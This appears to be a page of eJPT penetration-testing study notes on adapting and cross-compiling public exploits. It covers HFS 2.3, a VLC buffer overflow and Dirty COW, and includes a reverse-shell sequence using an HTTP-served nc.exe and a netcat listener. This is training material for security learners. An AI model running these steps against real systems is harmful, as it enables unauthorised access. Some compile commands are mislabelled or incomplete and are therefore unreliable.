> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/exploitation/exploits/fixing-exploits.md).

# Fixing Exploits

### Fixing Exploits

DEMO

```
nmap -sV <IP>
```

```
searchsploit HTTP File Server 2.3
```

```
searchsploit -m 39161.py
```

```
vim 39161.py
```

* netcat binaries PATH

```
cp /usr/share/windows-resources/binaries/nc.exe .
```

* Terminal 1

```
python -m SimpleHTTPServer 80
python 39161.py <target IP> <target port>
python 39161.py <target IP> <target port>
```

* Terminal 2

```
nc -nlvp 1234

cmd> whoami
cmd> ipconfig 
cmd> systeminfo
```

***

### Cross-Compiling Exploits

* In certain cases, exploit code will be developed in C/C++/C#, as a result, you will need to compile the exploit code in to a PE (Portable Executable) or binary.

* Cross-Compiling is the process of compiling code for a platform other than the one performing the compilation.&#x20;

* As a penetration tester, you will need to have the skills necessary to compile exploit code developed in C.

* We require Mingw-w64 for cross-compiling, it is open-source

```
sudo apt-get install mingw-w64
```

```
sudo apt install gcc
```

Windows Compile from Linux

* VideoLAN VLC Media Player 0.8.6f - smb URI Handling Remote Buffer Overflow

```
searchsploit -m 9303
```

* For 64 bit compilation

```
i686-w64-mingw32-gcc 9303.c -o exploit
```

* For 32 bit compilation&#x20;

```
i686-w64-mingw32-gcc -o exploit -lws2_32
```

Linux Compile&#x20;

* Dirty cow Linux Kernel&#x20;

```
searchsploit Dirty Cow Linux Kernel
```

```
searchsploit -m 40839
```

```
gcc -pthread 40839.c -o exploit -lcrypt
```

* GitHub Repo from Offensive-Security/exploitdb-bin-sploits

{% embed url="<https://gitlab.com/exploit-database/exploitdb-bin-sploits>" %}

* Pre-compiled binaries&#x20;

***
